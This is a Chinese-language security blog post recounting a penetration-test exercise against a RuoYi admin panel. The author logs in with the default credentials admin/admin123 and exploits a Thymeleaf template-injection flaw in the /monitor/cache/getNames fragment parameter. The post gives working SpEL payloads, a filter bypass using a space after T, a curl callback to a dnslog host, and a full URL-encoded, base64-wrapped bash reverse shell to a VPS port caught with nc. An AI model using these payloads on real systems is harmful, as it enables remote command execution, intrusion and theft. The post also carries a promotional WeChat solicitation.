記一次攻防演練中的若依(thymeleaf 模板注入)getshell

蚁景网安实验室發表於2024-05-27

記一次攻防演練中幸運的從若依弱口令到後臺getshell的過程和分析。

0x01 漏洞發現

首先,我會先把目標的二級域名拿去使用搜尋引擎來搜尋收集到包含這個目標二級域名的三級域名或者四級域名的網站。

這樣子可以快速的定位到你所要測試的漏洞資產。

1、推薦三個比較實用的搜尋引擎:

奇安信-鷹圖平臺:https://hunter.qianxin.com/

360-quake: https://quake.360.net/

fofa: https://fofa.info/

搜尋語法:domain="二級域名"

2、透過一番搜尋查詢翻閱,幸運女神光顧~~~。

透過搜尋引擎搜尋到包含目標的二級域名找到關於目標的的一個三級域名,而且還是漏洞百出的若依系統。

經典:你若不離不棄,我必生死相依

image-20240411143521002

基於SpringBoot的許可權管理系統,核心技術採用Spring、MyBatis、Shiro沒有任何其它重度依賴

image-20240411143721238

0x02 漏洞分析

Thymeleaf模板注入漏洞簡介

Thymeleaf模板注入形成原因,簡單來說,在Thymeleaf模板檔案中使用th:fragment、 , th:text 這類標籤屬性包含的內容會被渲染處理。並且在Thymeleaf渲染過程中使用 ${...} 或其他表示式中時內容會被Thymeleaf EL引擎執行。因此我們將攻擊語句插入到 ${...} 表示式中,會觸發Thymeleaf模板注入漏洞。如果帶有 @ResponseBody 註解和 @RestController 註解則不能觸發模板注入漏洞。因為@ResponseBody 和 @RestController 不會進行View解析而是直接返回。所以這同樣是修復方式。

漏洞點

Server-Side Template Injection簡稱SSTI,也就是伺服器端模板注入。

我們在審計模板注入(SSTI)漏洞時,主要檢視所使用的模板引擎是否有接受使用者輸入的地方。主要關注xxxController層程式碼。在Controller層,我們關注兩點:1、URL路徑可控。2、return內容可控。所謂可控,也就是接受輸入。

1、URL路徑可控

@RequestMapping("/hello")
public class HelloController {
  @RequestMapping("/whoami/{name}/{sex}")
  public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
    return "Hello" + name + sex;
  }
}

return內容可控

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
  mmap.put("cacheNames", cacheService.getCacheNames());
  return prefix + "/cache::" + fragment;
}
return內容可控:
\_\_${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}\_\_::.x
URL路徑可控:
\_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x

2、Ruoyi使用了thymeleaf-spring5,其中四個介面方法中設定了片段選擇器:

http://xxxxxx/monitor/cache/getNames

http://xxxxxx/monitor/cache/getKeys

http://xxxxxx/monitor/cache/getValue

http://xxxxxx/demo/form/localrefresh/task

透過這四段介面,可以指定任意fragment,以/monitor/cache/getNames介面為例,controller程式碼如下:

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment;
}

簡單理解:接收到 fragment 後,在return處進行了模板路徑拼接。根據程式碼我們知道根路徑為 /monitor/cache ,各個介面路徑分別為 /getNames , /getKeys , /getValue ,請求引數均為fragment 。

這四段介面方法中,都使用了thymeleaf的語法:

"/xxx::" + fragment;

我們構造fragment的值為:

url編碼:
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%64%6e%73%6c%6f%67%30%40%22%29%7d
                    ↓
${T (java.lang.Runtime).getRuntime().exec("curl dnslog地址")}

當我們構造的模板片段被thymeleaf解析時,thymeleaf會將識別出fragment為SpringEL表示式。不管是?fragment=header(payload)還是?fragment=payload

image-20240411143949013

但是,在執行SpringEL表示式之前,thymeleaf會去檢查引數值中是否使用了"T(SomeClass)"或者"new SomeClass"

image-20240411144014914

這個檢查方法其實可以繞過,SpringEL表示式支援"T (SomeClass)"這樣的語法,因此我們只要在T與惡意Class之間加個空格,就既可以繞過thymeleaf的檢測規則,又可以執行SpringEL表示式。

因此payload中T與惡意Class之間含有空格,不論是空格或者製表符都可以繞過檢測。

漏洞影響:RuoYi <= v4.7.1

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

0x03 開始戰鬥

1、回到之前的若依登入框,若依的管理系統肯定要試試看弱口令啦,使用者admin,密碼admin123。

image-20240411130206602

非常nice,弱口令yyds,登入進入若依系統後臺。

image-20240411130435483

經過一番測試,後臺定時任務執行不了命令,反彈shell不成功,更換了幾個不同的payload都沒效果,太菜了,咱也不知道為什麼,其他的常見的漏洞任意檔案讀取、SQL隱碼攻擊、未授權訪問啥的都沒有,所以才會來測試一番Thymeleaf模板注入遠端命令執行。

四個介面路徑都可以訪問,我們使用第一個介面路徑進行測試。

/monitor/cache/getNames
​
/monitor/cache/getKeys
​
/monitor/cache/getValue
​
/demo/form/localrefresh/task

image-20240411130537524

2、在若依管理系統後臺直接訪問/monitor/cache/getNames介面路徑,使用burp suite攔截訪問/monitor/cache/getNames路徑的資料包。

訪問/monitor/cache/getNames

image-20240411143414247

使用burp suite攔截資料包

image-20240411132629456

使用burp suite上自帶的編碼工具,使用base64編碼反彈shell命令

/bin/bash -i >& /dev/tcp/vps IP/5566 0>&1

image-20240411131819185

構造fragment的值,把上面使用base64的編碼放入下面的payload編碼成url編碼

${T (java.lang.Runtime).getRuntime().exec("bash \-c {echo,L2Jpbi9iYXNooC1poD4moC9kZXYvdGNwL3ZwcyBJUC81NTY2oDA+JjE=}|{base64,-d}|{bash,-i}")}

image-20240411131912908

把前面攔截到的訪問/monitor/cache/getNames路徑的資料包更改請求方式為POST,更改完請求方式後在訪問路徑後面拼接上我們剛剛經過url編碼構造fragment的值

image-20240411132524501

/monitor/cache/getNames?fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%a0%5c%2d%63%20%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%6f%43%31%70%6f%44%34%6d%6f%43%39%6b%5a%58%59%76%64%47%4e%77%4c%33%5a%77%63%79%42%4a%55%43%38%31%4e%54%59%32%6f%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%7d

3、在vps上面使用nc監聽5566埠,接收反彈shell。

image-20240411132300910

把剛剛更改了請求方式為POST拼接上url編碼構造fragment的值的資料包傳送出去,可以發到重發器多發幾遍。

image-20240411132859774

返回包返回狀態200,應該是執行成功了。

image-20240411134733041

回到vps檢視監聽狀態,nice!!!成功,拿下拿下。

image-20240411142652415

漏洞挖掘的過程中要有耐心、細心,把能試的漏洞都試一試,反正試一試又不要錢,說不定就getshell了呢。。。。。。

0x04 修復建議

把若依系統更新到最新版本。

更多網安技能的線上實操練習,請點選這裡>>

相關文章